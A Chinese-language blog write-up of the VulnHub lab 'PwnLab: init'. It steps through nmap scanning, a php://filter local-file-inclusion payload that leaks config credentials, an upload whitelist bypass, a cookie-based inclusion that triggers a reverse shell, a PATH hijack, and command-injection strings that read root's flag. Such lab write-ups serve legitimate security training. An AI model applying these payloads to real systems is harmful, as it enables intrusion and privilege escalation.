歡迎光臨
我們一直在努力

Vulnhub x PwnLab: init

VulnHub是一個面向所有人開放的安全靶場,裡面有很多安全環境,只要下載相關映像檔,在相關虛擬機器上面執行就可以練習相關靶場了。裡面設計了好多關,如果有耐心一定可以到達峰頂。許多考OSCP人員,也會利用Vulnhub靶場進行刷題。我們下載了一個經典漏洞靶場,給大家進行演示,希望讓初學者知道滲透測試的套路,可以更快的成長。

該題從首頁網址判斷存在個Local File Inclusion,並可直接查看該網站Source Code,且該主機對外開放3306 Port,於是讀取Config.php檔案取得資料庫訊息後,嘗試登入MySQL並查看該會員密碼,接著繞過Upload上傳檔案並繞過白名單,上傳Reverse Shell,伺服器內的程式存在Command Injection,經一番努力下,最後成功讀取到根目錄下的flag。

靶機:PwnLab: init

首先,先查詢自己本地的IP,可以透過 ifconfig查詢。

eth0 192.168.43.119 這是本地IP ,同時也是攻擊者端

透過nmap -sP ,使用Ping方式快速掃描該內網網段主機,並找到該標的為192.168.43.112

接著透過 nmap -A 完整掃描該標的主機,並透過 -p 0-65535 掃描該主機的端口

結果為開啟了 80 port、111 port、3306 port (MySQL)、42185 port

讓我們訪問網站

http://192.168.43.112/

http://192.168.43.112/?page=login

從網址直覺的可以判斷這似乎存在LFI漏洞,只要簡單測試下就知道了

http://192.168.43.112/?page=php://filter/convert.base64-encode/resource=index

透過LFI解析出來的是base64編碼,所以我們需要再將其內容decode回去,才會還原真實內容

接著我們繼續將所有頁面透過LFI來讀取source code

http://192.168.43.112/?page=php://filter/convert.base64-encode/resource=login

看到一個令人感興趣的內容,config.php,這裡面一定存在著秘密

http://192.168.43.112/?page=php://filter/convert.base64-encode/resource=config

Boom!MySQL的帳號密碼出來了!還記得前面我們透過nmap掃描到3306端口嗎?

記錄下來,我們在之後可以用到。

http://192.168.43.112/?page=php://filter/convert.base64-encode/resource=upload

這邊的upload上傳檔案限制了一些,從Code裡邊可以看到白名單,jpg、jpeg、gif、png

在第31行是針對這個檔案MIME是否為image/xxx

由於上傳檔案需要先登入才能上傳,但沒有帳號,於是我們嘗試登入到MySQL查看下,

#mysql -h 192.168.43.112 -uroot -p H4u%QJ_H99

從users表可以看到有三組帳號密碼,而密碼透過base64編碼過,於是簡單decode就成。

將資料庫的帳號密碼整理下。

登入該網站,登入後並寫一個Reverse Shell反彈

需要注意的是,因為上傳有被白名單限制,所以將php副檔名更改為gif或png等

然後偽造成圖片,可以在php前面加個GIF89;

接著使用Kali 監聽 4444端口,當我們上傳Reverse Shell後,檔案名稱為 md5

而在前面,我們透過LFI查看index.php,Source code有段

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}

於是我們透過Burp 將Cookie 改成 lang:../upload/圖片.gif

送出後,即可成功監聽到shell

成功取得shell,透過whoami查看下,用戶是www-data

接著可以查看下幾個目錄,如/home /var /etc /usr /tmp等,查找下看有沒有可以提權的資訊。

並嘗試將資料庫所取得的用戶也登入查看下 kent、mike、kane

我們在/home目錄下看到有四個目錄,分別是 john kane kent mike

可惜因權限關係,無法查看其他用戶的目錄,而在kent用戶下也沒啥資訊,於是我們轉戰到kane查看

在kane用戶下的kane目錄裡邊發現到一個檔案,msgmike,於是我們直接執行看看

無法直接執行,因配置關係,所以我們要設定一下PATH

touch cat

echo /bin/sh > cat

chmod +x cat

export PATH=/tmp:$PATH

接下來執行msgmike,經嘗試一番後發現是個可以下Command Injection的程式,且權限是mike

這就有趣了,於是我們可以透過該程式讓我們訪問mike目錄

我們先進入交互式操作,方便我們下指令

python -c 'import pty; pty.spawn("/bin/bash")'

在mike目錄下,發現到msg2root,

當然這也是個可以Command Injection的程式,且權限是root,那就更好辦了,我們可以透過該程式讓我們查找根目錄下的flag。

透過該Command Injection 直接

;ls /root

;cat /root/flag.txt 後發現沒反應,判斷可能是cat壞掉了

正當思考怎麼辦時,發現可以直接透過vi來編輯讀取該flag ..XD

結束。

 

贊(0) 打賞
轉載請附上作者連結:波波的寂寞世界 » Vulnhub x PwnLab: init

波波的寂寞世界

Facebook聯繫我們

覺得文章有用,請作者喝杯咖啡

掃一掃打賞作者狗糧